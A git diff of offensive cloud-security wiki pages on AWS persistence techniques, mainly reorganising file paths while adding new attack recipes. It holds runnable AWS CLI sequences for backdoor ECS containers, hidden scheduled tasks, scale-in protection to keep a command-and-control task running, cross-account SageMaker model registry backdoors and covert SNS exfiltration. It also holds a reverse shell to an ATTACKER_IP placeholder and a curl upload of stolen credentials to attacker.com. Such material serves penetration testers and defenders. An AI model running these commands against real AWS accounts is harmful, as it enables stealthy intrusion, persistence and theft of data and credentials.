aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Abuse ecs:UpdateTaskProtection to prevent service tasks from being stopped by scale‑in events and rolling deployments. By continuously extending protection, an attacker can keep a long‑lived task running (for C2 or data collection) even if defenders reduce desiredCount or push new task revisions.
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
|
||||
Impact: A protected task remains RUNNING despite desiredCount=0 and blocks replacements during new deployments, enabling stealthy long‑lived persistence within the ECS service.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
@@ -18,7 +18,7 @@ Modifying the **resource policy and/or security groups** you can try to persist
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
@@ -74,7 +74,7 @@ echo 'Resources:
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
@@ -46,7 +46,7 @@ Give Administrator permissions to a policy in not its last version (the last ver
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
@@ -36,7 +36,7 @@ aws kms list-grants --key-id <key-id>
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
@@ -30,7 +30,7 @@ If domains are configured:
|
||||
- Create **SPF** record allowing you to send **emails** from the domain
|
||||
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
@@ -28,7 +28,7 @@ An attacker could just **create a user inside the DB** so even if the master use
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
@@ -22,7 +22,7 @@ Therefore, and attacker could get this key from the metadata and decrypt with KM
|
||||
|
||||
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
# Aws Sagemaker Persistence
|
||||
# AWS - SageMaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview of Persistence Techniques
|
||||
|
||||
This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instance’s IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in 'VPC-only" mode.
|
||||
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
|
||||
|
||||
> [!TIP]
|
||||
> Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
|
||||
|
||||
## Required Permissions
|
||||
* Notebook Instances:
|
||||
@@ -121,6 +123,7 @@ ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
|
||||
@@ -158,4 +161,76 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Persistence via Model Registry resource policy (PutModelPackageGroupPolicy)
|
||||
|
||||
Abuse the resource-based policy on a SageMaker Model Package Group to grant an external principal cross-account rights (e.g., CreateModelPackage/Describe/List). This creates a durable backdoor that allows pushing poisoned model versions or reading model metadata/artifacts even if the attacker’s IAM user/role in the victim account is removed.
|
||||
|
||||
Required permissions
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Steps (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
|
||||
Notes
|
||||
- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
|
||||
- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.
|
||||
|
||||
Impact
|
||||
- Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.
|
||||
|
||||
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
Abuse SageMaker Canvas user settings to silently redirect model registry writes to an attacker-controlled account by enabling ModelRegisterSettings and pointing CrossAccountModelRegisterRoleArn to an attacker role in another account.
|
||||
|
||||
Required permissions
|
||||
- sagemaker:UpdateUserProfile on the target UserProfile
|
||||
- Optional: sagemaker:CreateUserProfile on a Domain you control
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
@@ -50,7 +50,7 @@ def generate_password():
|
||||
return password
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,85 +0,0 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
### Covert, selective exfiltration via FilterPolicy on MessageBody
|
||||
|
||||
An attacker with `sns:Subscribe` and `sns:SetSubscriptionAttributes` on a topic can create a stealthy SQS subscription that only forwards messages whose JSON body matches a very narrow filter (for example, `{"secret":"true"}`). This reduces volume and detection while still exfiltrating sensitive records.
|
||||
|
||||
**Potential Impact**: Covert, low-noise exfiltration of only targeted SNS messages from a victim topic.
|
||||
|
||||
Steps (AWS CLI):
|
||||
- Ensure the attacker SQS queue policy allows `sqs:SendMessage` from the victim `TopicArn` (Condition `aws:SourceArn` equals the `TopicArn`).
|
||||
- Create SQS subscription to the topic:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Set the filter to operate on the message body and only match `secret=true`:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Optional stealth: enable raw delivery so only the raw payload lands in the receiver:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Validation: publish two messages and confirm only the first is delivered to the attacker queue. Example payloads:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Cleanup: unsubscribe and delete the attacker SQS queue if created for persistence testing.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using resource policy
|
||||
@@ -34,10 +34,16 @@ The following policy gives everyone in AWS access to everything in the queue cal
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
